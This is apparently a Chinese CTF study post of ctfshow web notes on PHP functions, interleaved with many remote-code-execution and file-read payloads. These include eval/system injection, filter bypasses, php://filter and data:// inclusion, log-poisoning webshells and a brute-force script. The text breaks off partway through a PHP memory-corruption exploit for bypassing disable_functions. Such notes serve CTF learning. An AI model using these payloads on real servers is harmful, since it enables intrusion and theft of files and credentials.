---
title: PHP
date: 2023-09-24 17:08:15
categories:
- CTF
- ctfshow
tags:
- web
---

# 1. 函数:

# 1.isset () 函数

isset() 函数用于检测变量是否已设置并且非 NULL。

如果已经使用 unset () 释放了一个变量之后,再通过 isset () 判断将返回 FALSE。

若使用 isset () 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

# 2.substr () 函数

substr () 函数返回字符串的一部分。

  • 语法:substr (string , start , length)
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始负数 - 在从字符串结尾的指定位置开始 0 - 在字符串中的第一个字符处开始
length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回负数 - 从字符串末端返回

# 3.intval () 函数

intval() 函数用于获取变量的整数值。

intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval () 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

  • 语法:int intval (mixed $var [, int $base = 10] )

    • $var:要转换成 integer 的数量值。
    • $base:转化所使用的进制。

    如果 base 是 0,通过检测 var 的格式来决定使用的进制:

    • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
    • 如果字符串以 "0" 开始,使用 8 进制 (octal);否则,
    • 将使用 10 进制 (decimal)。

# 返回值

成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval ('1000000000000') 会返回 2147483647。64 位系统上,最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0,虽然取决于字符串最左侧的字符。

# 4.mt_srand () 函数

对于 PHP 生成随机数的种子 seed,(用同一个随机数序列进行推出种子,在获得该种子生成的其他随机数),可以用 php_mt_seed工具进行爆破获得种子值

  • 当随机数为字符串时需要转为 16 进制(本身是十进制就直接进入步骤二):pwn 虚拟机 web/php_mt_seed-4.0 文件夹内终端输入 php seed.php 随机数 即可
  • pwn 虚拟机 web/php_mt_seed-4.0 文件夹内终端输入 ./php_mt_seed 16进制值或10进制 即可获得种子
  • 再用该种子获得其他随机数

例如:

image-20250102222809985

# 定义和用法

mt_srand () 函数播种 Mersenne Twister 随机数生成器。(rand () 函数的用法和 mt_rand () 相同,只是 rand () 函数比 mt_rand () 函数慢)

语法

mt_srand(seed);#用 seed 来给随机数发生器播种,当该项为空时,会被设为随时数。。
  • 1、没有参数时,返回 0 到 RAND_MAX 之间的任意数字。

  • 2、有参数时,返回指定数值间的任意数字

从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数.

意思就是每次生成的随机数 是一样的 seed 为固定值时, echo (mt_rand()) 也是固定值,这里可作为一个漏洞点。(同一个种子下,随机数的序列是相同的)

实例

将播种随机数生成器:

<?PHP 
mt_srand(0); 
echo mt_rand(); 
echo mt_rand(); 
echo mt_rand(); 
?>

输出 (每一次的第一个都相同,第二个也都相同,第三个也都相同.....):

963932192 
1273124119 
1535857466

# hexdec () 函数:

** 作用:**hexdec () 函数把十六进制数转换为十进制数

例如:

<?php
echo (hexdec(a));echo "\n";
echo (hexdec(b));echo "\n";
echo (hexdec(c));echo "\n";
echo (hexdec(d));
?>

输出:

10 #16十六进制a就是10
11
12
13

# PHP preg_match () 函数

注意:若匹配的参数是get传入的,那么可以用post方式绕过匹配

【如以下匹配方式:】

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c))
#这里的 `.*`是匹配任意长度的任意字符,也就是在这些字符中间穿插其他字符也仍然会匹配上,如:c1a1t1仍然会被.*c.*a.*t.*匹配
【绕过:】
 #利用`?`进行绕过:比如`flag.php` 可以用`fla?.php`来绕过,因为`?`并不是正则表达式中的通配符,而只是字面上的问号字符,这使得`?`被当作`?`字符本身,导致匹配失败从而绕过
    
【补充说明:】
#在linux中命令中:
#`*`是通配符,可以匹配任何长度的字符,不论是零个字符还是多个字符。它可以匹配文件名中的任何部分(如*.txt可以匹配任意以.txt结尾的文件)
#`?`只匹配一个字符,无论该字符是什么。它不会匹配零个字符,因此每次使用 ? 时,至少需要一个字符的位置(如`?.txt`只能匹配单个长度的txt文件,如`a.txt`,不能匹配 `aa.txt`两个字符长度的,)

preg_match 函数用于执行一个正则表达式匹配。

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。匹配就返回 1

参数:

  • $pattern: 要搜索(匹配)的模式 / 字符串形式。

  • $subject: 输入的字符串。

  • $matches: 如果提供了参数 matches,它将被填充为搜索结果。 $matches [0] 将包含完整模式匹配到的文本, $matches [1] 将包含第一个捕获子组匹配到的文本,以此类推。

  • $flags:flags 可以被设置为以下标记值:

    • PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量 (相对于目标字符串的)。 注意:这会改变填充到 matches 参数的数组,使其每个元素成为一个由 第 0 个元素是匹配到的字符串,第 1 个元素是该匹配字符串 在目标字符串 subject 中的偏移量。
  • offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索 (单位是字节)

查找文本字符串 "php":

<?php
// 模式分隔符后的 "i" 标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串 php。";
} else {
    echo "未发现匹配的字符串 php。";
}
?>
    
结果:
查找到匹配的字符串 php。

查找单词 "web"

<?php
/* 模式中的 \b 标记一个单词边界,所以只有独立的单词 "web" 会被匹配,而不会匹配单词的部分内容,比如 "webbing" 或 "cobweb" */
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串。\n";
} else {
    echo "未发现匹配的字符串。\n";
}
 
if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) {
    echo "查找到匹配的字符串。\n";
} else {
    echo "未发现匹配的字符串。\n";
}
?>
    
结果:
查找到匹配的字符串。
未发现匹配的字符串。

获取 URL 中的域名

<?php // 从 URL 中获取主机名称 preg_match ('@^(?:http://)?([^/]+)@i',    "http://www.runoob.com/index.html", $matches); 
$host = $matches[1]; 
// 获取主机名称的后面两部分 preg_match ('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n"; 
?>

执行结果如下所示:

domain name is: runoob.com

使用命名子组

<?php  $str = 'foobar: 2008'; 
preg_match('/(?P<name>\w+): (?P<digit>\d+)/', $str, $matches);  
/* 下面例子在 php 5.2.2 (pcre 7.0) 或更新版本下工作,然而,为了后向兼容,上面的方式是推荐写法. */
// preg_match('/(?<name>\w+): (?<digit>\d+)/', $str, $matches); 
print_r($matches); 
?>

执行结果如下所示:

Array
(
    [0] => foobar: 2008
    [name] => foobar
    [1] => foobar
    [digit] => 2008
    [2] => 2008
)

# eval () 函数

把字符串当成 PHP 代码来执行:

定义:

eval () 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

** 注释:**return 语句会立即终止对字符串的计算。

# 语法

eval(*phpcode*)

参数 描述
phpcode 规定要计算的 PHP 代码。

# eval () 代码执行:

eval () 函数会将将字符串当作 php代码系统命令 执行,输入的字符串(即使是系统命令也需要用 ; )需要以 ; 结尾(php 中一句代码结束就需要用 ; 表明),如:

c=system("cat fla*");#*是linux中的匹配字符,找到满足任意`flag`的字符串
c=system("ls");#查看目录文件
c=system("tac%20fla*");#tac是Linux命令,从最后一行到第一行进行输出(与cat相反,但每一行也是正序),%20是空格的url编码(URL 编码通常使用加号(+)或 %20 替代空格。),不过在双引号内可以直接用空格
c=system("cp%20fl*g.php%20a.txt%20");#利用cp命令将flag拷贝到别处(这里的是flag.php,通过ls命令看见的)
c=passthru("tac%09fla*");#%09是tab键,可用来代替空格(空格被过滤时使用)
c=passthru("more%09f*");#more类似与cat命令,只是是一页一页的显示
c=show_source("flag.php"); #查看源码,当传入一个【文件路径】时,它会以高亮的格式显示该文件的源代码
c=include('/flag.txt'); #也能读取flag
c=find${IFS}/${IFS}-name${IFS}fla\g|| #为system的参数时用来查询flag路径,find / -name 文件名,`/`表示从根目录开始找
c=ls${IFS}/|| #查看上一级目录的文件
c=ls${IFS}||  #查看本级目录的文件
    
linux适用空格绕过:< 、<>、%20(space)、 %09(tab)、$IFS$9、 ${IFS}(空格绕过,)、$IFS、{cat,/etc/passwd}、%0a(回车\换行符绕过)#这里的IFS是linux下的特殊环境变量内部字段分隔符,IFS的默认值为空格,Tab制表符或换行符(od命令【od(选项)(参数)】将数据转换为八进制或者十六进制后再查看:八进制040是空格,011是Tab制表符,012是换行符)
    
内联执行:将反引号内命令的输出作为输入执行:  
cat$IFS$1`ls`#将ls输出的目录再次作为cat命令的输入进行查询;在shell中:$0 就是你写的shell脚本本身的名字,$1 是你给你写的shell脚本传的第一个参数,$2 是你给你写的shell脚本传的第二个参数
    
    
#在eval执行c的情况下,且判断条件只判断C这个参数,那么可以将c再重新去构造一个参数:
c=eval($_GET[a]);&a=system('cat flag.php');  #这里注意后面是a的参数,而不是c的参数,这个payload共传递了两个参数,第一个为嵌套eval第二个为向嵌套的eval传入参数,所以也就判断到【c=eval($_GET[a]);】
    
#可以利用已知的其他函数来凑出所需要的字符串来绕过:
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():#返回包含本地化数字和货币格式信息的关联数组。这里主要是返回数组第一个"."
pos():#输出数组第一个元素,不改变指针;
scandir();#遍历目录,这里因为参数为"."所以遍历当前目录
array_reverse():#元组倒置,array_reverse([1, 2, 3]); // 返回 [3, 2, 1]
next():#将数组指针指向下一个,这里其实可以省略倒置和改变数组指针,直接利用[2]取出数组也可以
show_source():#查看源码,当传入一个【文件路径】时,它会以高亮的格式显示该文件的源代码
#这个代码的核心功能是读取某个目录(由 pos(localeconv()) 确定)的【最后一个文件】,并尝试显示该文件的源代码。
#过滤了括号可以用文件包含include(include是不需要括号的函数)【include()函数用于将函数内调用的文件内的所有内容(文本)复制到调用它的文件中】进行绕过:
c=include$_GET[a]?>&a=../../../../var/log/nginx/access.log #%3E是`>`符号,通过响应头,如果发现是nginx,默认nginx日志文件在/var/log/nginx/access.log ,将这段输入进去会看到输出的日志内容,可以在访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可
    
c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=文件名 #php://filter/convert.base64-encode/resource= 是hackbar中LFI文件包含漏洞一个功能,用来包含并且返回得到结果还要进行base64解码
c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=文件名 #用于POST
c=include$_GET[a]?>&a=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
#用其他方式编码,还需要解码:
<?php
$str = "lfga= \" lfgaL{xx}x;\""; #str 是输出的内容,原本是 lfga= "lfgaL {xx} x;",需要将其转义
echo iconv('UCS-2BE', 'UCS-2LE', $str);
?>
    
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?> # 这里是用了data协议,data://text/plain, 表示该数据的 MIME 类型是 text/plain,即纯文本格式。【text/plain:指定数据是纯文本格式,而`逗号`:表示接下来的数据内容】
    
    
#GET:
?c=include$_GET[1]?>&1=php://input  #php://input默认读取没有处理过的POST数据
#POST:
<?php system('tac flag.php');?>
#需要注意,因为POST没有按照key=value封装数据, 因此hackBar认为数据有问题, 不会发送数据, 可以使用Burp Suite发送数据(可以不用在bp中对特殊符号进行url编码)
    
    
/*注意:当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。*/

# PHP 突破禁用函数 (eval 内执行这些函数被禁止):

php.ini 中用 disable_functions 指示器禁用了 system ()、exec () 等等这类命令执行的相关函数;

  • 尝试找到未被禁用的函数 (都试试):

    system(); exec(); passthru(); shell_exec(); show_source(); 
    readfile(); #使用 readfile 读文件,显示在源码处)
    highlight_file();
    file_get_contents();#使用 file_get_contents 读文件,显示在源码处)
    readgzfile();#也可读文件,常用于绕过过滤,在源码处
    include('/flag.txt');
    #调用方式都如:show_source ("flag.php");
  • 通过 include 绕过过滤:

    c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=文件名 #php://filter/convert.base64-encode/resource= 是hackbar中LFI文件包含漏洞一个功能,用来包含并且返回得到结果还要进行base64解码
    c=include$_POST[a]?>&a=php://filter/convert.base64-encode/resource=文件名 #用于POST
    c=include$_GET[a]?>&a=php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
    #用其他方式编码,还需要解码:
    <?php
    $str = "lfga= \" lfgaL{xx}x;\""; #str 是输出的内容,原本是 lfga= "lfgaL {xx} x;",需要将其转义
    echo iconv('UCS-2BE', 'UCS-2LE', $str);
    ?>
  • 使用无参数读取:

    c=var_dump(scandir(pos(localeconv())));#查看当前目录内容
    c=print_r(scandir(getcwd()));
    c=show_source(pos(scandir(pos(localeconv())))); #读第一个文件
    c=show_source(current(array_reverse(scandir(getcwd()))));#读倒数第一个
    c=readfile(current(array_reverse(scandir(getcwd()))));#读倒数第一个,在源代码中显示
    c=show_source(current(array_reverse(scandir(pos(localeconv())))));#读倒数第一个
    c=show_source(next(array_reverse(scandir(getcwd()))));#读倒数第二个
    c=readfile(next(array_reverse(scandir(getcwd()))));#读倒数第二个,在源代码中显示
    c=show_source(next(array_reverse(scandir(pos(localeconv())))));#读倒数第二个
    c=show_source(array_rand(array_flip(scandir(getcwd())))); #array_rand (array_flip ()),array_flip () 是交换数组的键和值,array_rand () 是随机返回一个数组 多 post 几次就出来了【不用在意报错】
  • 绕过 ob_get_contents();该函数劫持输出缓冲区

    #1. 劫持输出缓冲区之前就把缓冲区送出,可以用的函数有:
    ob_flush();
    ob_end_flush();
    payload示例:
    c=include('/flag.txt');ob_flush();
    #2. 提前终止程序,即执行完代码直接退出,可以调用的函数有:
    exit();
    die();
    payload示例:
    c=include('/flag.txt');exit();

# 注意:

​ 不需要用双引号将整个 **system ("cat fla*");** 围起来;

​ 但是用 命令式字符串 【如字符串中包括 echo、print 之类的命令的时候】(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。如:

<?php
$a=123;
eval("echo '$a';"); #输出 123
echo("\n");
eval("echo \"$a\";");#输出 123,对双引号进行转义
echo("\n");
eval(echo '$a';);#去掉外面一层的双引号,报错
echo("\n");
$time = "winter";
$str = 'This is a $time $string morning!';
eval("echo \$str=\"$str\";");#输出 This is a winter  morning!
echo("\n");
eval("echo \$str='$str';");#输出 This is a winter  morning!----- 得出双引号和单引号都会将带有 $ 进行变量插值
#注意,对上面两句代码需要对 $ 进行转义 (也就是 \$),这是为了表示是字符串 `$str` 而不将其先进行变量插值
#后面两个转义(\")是为了防止与第一个双引号进行闭合导致认为字符串已经结束,所以需要转义
#对第二个 $str 不再前面转义是为了将其进行变量插值
eval("echo($c)");
#相当于是执行 echo ($c); 若 c=system ('cat flag.php')
#那么相当于执行
echo(system("cat flag.php"));#嵌套执行,仍然是会执行 system【这里 system cat flag.php 也是可以执行的】
?>

# include () 文件包含绕过过滤:

include 是可以不需要括号的函数)【include () 函数用于将函数内调用的文件内的所有内容(文本)复制到调用它的文件中,PHP include ,在 PHP 中,在执行 PHP 文件之前把该 include 的文件插入另一个 PHP 文件中。

include 是一个 PHP 函数,用于包含并执行指定文件的内容。如果包含的文件中包含合法的 PHP 代码,PHP 解析器会解析并执行这些代码

include 和 require 语句用于在执行流中向其他文件插入有用的的代码,然后可以执行。

若在代码中有:

$c=$_GET['c'];
include($c);

可以直接对 参数c 设置为伪协议,而不需要传入新的参数 (不过在 c 中不能出现被过滤的字符):

  • 直接用 include 的参数用伪协议
c=data://text/plain,<?php system("tac flag.php");?>#这里有个分号,没有分号可能会错误
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg== #转为base64,绕过过滤关键字flag,`;base64`是表示是base64编码,分号用于分隔 编码类型
#这里用data://协议是将后面的内容作为文件内容使用,也就相当于为include提供了文件
#GET:
?c=php://input  #php://input默认读取没有处理过的POST数据,get的参数过滤不会对post的内容进行过滤
#POST:
<?php system('tac flag.php');?>

# 字符串拼接

使用 php include 拼接字符串的方式有两种,分别是使用双引号 "" 和使用点号 .

例如:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250106145738691.png" alt="image-20250106145738691" style="zoom: 67%;" />

include 处的 . 会将输入的 c 后拼接上一个 .php

# 无参数读文件和 RCE

# 无参数读文件

主要是通过利用 PHP 函数的返回值来作为参数来达到执行目的,多用于过滤了较多关键字时用,因为各种限制和过滤使我们可能无法自己穿参数,所以用各种函数返回值来进行绕过,比如:

localeconv():#【返回】一包含本地数字及货币格式信息的【数组】,而它数组的第一项就是 ".", 有了这个 "." 就可以作为文件路径对,可以作为查看文件目录函数的参数来使用

下面是该函数返回的数组的详细值:

img

current()#返回数组中的单元,默认取第一个值,可以将上面 localeconv () 返回的整个数组值取其第一个 ".",用 current (loacleconv ()) 获取
current()=pos();
scandir('绝对路径')#返回指定目录中的文件和目录的数组,参数为 `.` 用来查看当前目录文件名,第一个为 `.`  第二个为 `..`  第三个为第一个文件名......
getcwd();#获取绝对路径,可以代替 pos (localeconv ());
realpath('.');#获取绝对路径,,???用法有点懵
#组合:
scandir(getcwd());#输出当前文件夹所有文件名
dirname() :返回路径中的目录部分

# 读取当前目录文件

输出了当前目录文件名,如果文件不能直接显示,比如 PHP 源码,我们还需要使用函数读取:

前面的方法输出的是数组,各数组值为文件名

img

上面的函数可以进行调整读哪个下标的数组

#读文件:
show_source("文件名");#对文件内容进行高亮显示
readfile();#使用 readfile 读文件,显示在源码处)
highlight_file();
file_get_contents();#使用 file_get_contents 读文件,显示在源码处)
readgzfile();#也可读文件,常用于绕过过滤
    
    
show_source(end(scandir(getcwd())));#读取文件目录中的最后一个文件

利用:

array_reverse() ;#以相反的元素顺序返回数组,将数组倒序
#查看当前目录
c=var_dump(scandir(pos(localeconv())));#查看当前目录内容 ; var_export类似
c=print_r(scandir(getcwd())); #查看当前目录内容  #dirname()替换scandir
#查看上级目录
print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件
print_r(scandir(next(scandir(getcwd()))));//也可查看上级目录文件,scandir(getcwd())出现的数组第二个就是"..",用next()获取
next(scandir(chr(ord(hebrevc(crypt(time())))))); #可以获得".."的
#读取上层目录文件:
show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd()))))))); #不能直接读取上层目录文件,会报错,因为默认是在当前工作目录寻找并读取这个文件,而这个文件在上一层目录,所以要利用chdir先改变当前工作目录
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
#或更复杂的:
show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
#还可以用:
show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//手动要刷新很久,如果文件是正数或倒数第一个第二个最好不过了,直接定位
#遍历根目录里所有文件
<?php
$a=new DirectoryIterator("glob:///*");  
	# 利用 DirectoryIterator ($path) 可以实现遍历目录下的所有文件
	# glob:// — 查找匹配的文件路径模式
	# DirectoryIterator ("glob:///*")   遍历根目录里所有文件,`/*` 来匹配根目录
foreach($a as $f)  	#循环遍历输出,并以空格为分隔
{echo($f->__toString().' ');
} exit(0);
?>
#查看根目录文件(需要一定的权限才能读):
c=echo(implode('---',scandir("/")));#print和echo无法打印数组,利用implode函数将数组转换成字符串再打印
c=echo json_encode(scandir("/"));#json_encode() 函数将数组转换为 JSON 格式的字符串,可以用于在前端或其他系统中传递和处理数组数据
c=print_r(scandir("/"));
c=var_export(scandir("/")); #类似var_dump的命令
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));#strrev(crypt(serialize(array())))所获得的字符串第一位有几率是`/`【要多试几次】
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
#读根目录文件(需要一定的权限才能读):
c=highlight_file('/flag.txt');#不一定能用,可能会被过滤字符串
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));#利用脚本速度更快【/ctftools/无参函数随机返回值获取flag】
c=show_source(pos(scandir(pos(localeconv())))); #读第一个文件
c=show_source(current(array_reverse(scandir(getcwd()))));#读倒数第一个
c=readfile(current(array_reverse(scandir(getcwd()))));#读倒数第一个,在源代码中显示
c=show_source(current(array_reverse(scandir(pos(localeconv())))));#读倒数第一个
c=show_source(next(array_reverse(scandir(getcwd()))));#读倒数第二个
c=readfile(next(array_reverse(scandir(getcwd()))));#读倒数第二个,在源代码中显示
c=show_source(next(array_reverse(scandir(pos(localeconv())))));#读倒数第二个
c=show_source(array_rand(array_flip(scandir(getcwd())))); #array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组 多post/get几次就出来了【不用在意报错】
#解释:getcwd/pos(localeconv())返回".",
#就相当于scandir(".")就是遍历当前目录返回目录文件数组(第一个是".",第二个是"..",第三个才是真正的文件名开始)
#然后将数组颠倒,假如有两个文件:flag.php、index.php,那么数组为arry[0]=".", arry[1]="..", arry[2]=flag.php, arry[3]=index.php, 倒序后flag.php就是第二个,用next就可以指向flag.php
#show_source就可以读倒数第二个
注意:这里不能对读第三个数组用两个next嵌套,可能因为解析顺序的原因使无法正确读出flag.php

无参函数随机获取返回值得到 flag 脚本:

import re
import urllib
from urllib import parse
import requests
#获取用户输入的 url
URL=input('url(是http,不是https):')
payload='if(chdir(chr(ord(strrev(crypt(serialize(array())))))))readgzfile(array_rand(array_flip(scandir(getcwd()))));'
print(payload)
p=urllib.parse.unquote(payload)
print(p)
# 发送 POST 请求到指定的 URL,数据中包含编码后的 payload
#urllib.parse.unquote () 对 payload 进行 URL 解码,编码的字符串会被解码成原始字符串,如将 %20 解码成空格【只对 url 编码的解码,已经是字符串的不变】
#data 参数是一个字典,其中包含你要通过 POST 请求发送的数据。在这个例子中,字典的键是 'c',值是解码后的 payload
#这里的 c 就是 c=xxxxx;(post 或 gets 传入的参数变量)
response=requests.post(URL,data={'c':urllib.parse.unquote(payload)})
#response=requests.get(URL,data={'c':urllib.parse.unquote(payload)})
# 输出服务器的响应文本
s=response.text
print(s)
while(1):
    response = requests.post(URL, data={'c': urllib.parse.unquote(payload)})
    s = response.text
    print(s)
    if 'ctfshow{' in s: #`ctfshow {` 开头的才是 flag
        break
#http://7e7a638b-1bd6-4bda-b7d8-0c4cf5783fe8.challenge.ctf.show/

# 无参数命令执行(RCE)

传入的内容不能含有参数,可以将参数放到其他地方,利用无参函数来控制放到其他地方的参数

getallheaders();#获取全部 http 的请求头,返回包含所有请求头信息的数组,是 apache_request_headers () 的别名函数,但是该函数只能在 Apache 环境下使用
    
#bp 中抓包修改请求头,然后利用 getallheaders () 获取该请求头的内容,可以作为后续执行的 eval 函数的参数
#例如:修改头为:
Leon: phpinfo();#这里排在第一位,所以直接用 c=eval (pos (getallheaders ())) 取第一个数组的值,会显示 phpinfo 信息

img

# 无字母数字 webshell(无数字、字母命令执行)

# 1. 利用方法:

(在 ctftools / 无字母数字命令执行上传文件.html)【用 http,修改 url 后打开网页上传文件】

【注意是仍然 get 方式提交后面的 payload】

<!-- 构造一个 post 上传文件的数据包,这是个上传页面,选择文件上传 -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://f2ef59eb-65f2-45f1-ba08-9e5def4312f5.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!-- 链接是当前打开的题目链接 -->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件【不能直接提交,要抓包,提交文件和 payload 是一起进行的】:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133020604.png" alt="image-20250109133020604" style="zoom:80%;" />

抓包:

<img src="https://vvwwv.oss-cn-nanjing.aliyuncs.com/img/image-20250109133255160.png" alt="image-20250109133255160" style="zoom:80%;" />

POST 后加入 payload【get 方式】: ?c=.+/???/????????[@-[] 【有可能最后一个字母不是大写,所以要多提交几次】

?c=.+/???/????????[@-[] #后面是 8 个?和 [@-[],[@-[] 代表一个大写字母,总共 9 个字母,php+6 个字母 (共九个)
?c=.%20/???/????????[@-[]  #也可以

image-20250109133610734

看见是 flag.php ,在抓包中修改 lscat flag.php 【同样可能需要多提交几次才能出现 flag】

image-20250109133810106

# 2. 原理:

对 Linux shell 可以通过 . filename 【 . 空格 文件名 】用 bash 来执行文件中的命令

. : 用当前的 shell 执行一个文件中的命令,比如,当前运行的 shell 是 bash,则 . file 的意思就是用 bash 执行 file 文件中的命令【 . file 执行文件,是不需要 file 有 x 权限的】

因此要上传一个文件,通过在文件里的命令来 get shell ,因此只要能上传一个文件就能 getshell

上传文件:

  1. 可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的文件保存在临时文件夹下
  2. 上传默认的文件名是 /tmp/phpXXXXXX 【与我们自己的文件名无关】,文件名最后 6 个字符是 随机的大小写字母 【加上 php 共 9 个字母】

构造 payload:

由于要执行 . file ,我们需要通过通配符来正确执行我们上传的文件【因为执行 . /tmp/phpXXXXXX 也有字母会被过滤】

  1. * 可以代替 0 个及以上任意字符
  2. ? 可以代表 1 个任意字符
  3. [^x] 的方法来表面 “对应的这个位置不是字符 x”(相当于筛选其他已知的文件名减少干扰,但是一开始很难知道有什么文件名)
  4. [@-[] 来表示对应的这个位置是大写字母:ascii 中大写字母位于 @[ 之间,可以利用如 [0-9] 来表示一个范围

因此可以构造 payload:

?c=.+/???/????????[@-[]   #原本为?c=. /tmp/php 随机文件名

要多提交几次,因为 php 生成临时文件名是随机的,最后一个字符不一定是大写字母

# ob_get_contents (); 函数

返回 输出缓冲区 的内容【输出缓冲区就是输出 / 打印出来的内容】

ob_get_contents(): string|false

只是得到输出缓冲区的内容,但不清除它;该函数没有参数

<?php
ob_start();
echo "Hello ";
$out1 = ob_get_contents(); #此时 `Hello` 被输出,输出缓冲区内为 `Hello`
echo "World";
$out2 = ob_get_contents();# 再输出 World,输出缓冲区为 `Hello World`
ob_end_clean();
var_dump($out1, $out2);
?>
#输出
string(6) "Hello "
string(11) "Hello World"

# ob_end_clean () 函数

清空输出缓冲区的内容

# 绕过 open_basedir () 的访问路径的限制

设置了 open_basedir ,将 php 所能打开的文件 限制在指定的目录树 中,包括文件本身

如下面的限制了访问路径 /var/www/html

image-20250111123709862

绕过:

  1. 获取根目录下的文件名:

    <?php
    $a=new DirectoryIterator("glob:///*");  
    	# 利用 DirectoryIterator ($path) 可以实现遍历目录下的所有文件
    	# glob:// — 查找匹配的文件路径模式
    	# DirectoryIterator ("glob:///*")   遍历根目录里所有文件
    foreach($a as $f)  	#循环遍历输出,并以空格为分隔
    {echo($f->__toString().' ');
    } exit(0);
    ?>
    c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?> #用这个,查看根目录
  2. 若 ini_set 未被限制:

查看 ctftools/利用ini_set绕过open_basedir

  1. POC (一个绕过安全目录的脚本)
#利用了 php的垃圾回收,这个脚本一般情况过下应该是可以直接使用,要求被攻击服务器必须是类unix系统,没有什么容易被过滤的函数,可能会被过滤的strlen()在脚本中也只是起到判断作用,可以调整修改的
#作为eval的参数传入,post方式需要进行传入url编码的payload
#eval里的语句可以视为在当前php文件里加了几条语句,这些语句必须是完整的,即必须以`;`或者`?>`结尾来结束语句,但是eval里的?>不会闭合当前的整个php文件,所以当前php页面eval的后续的语句都是会执行的
?><?php
function ctfshow($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
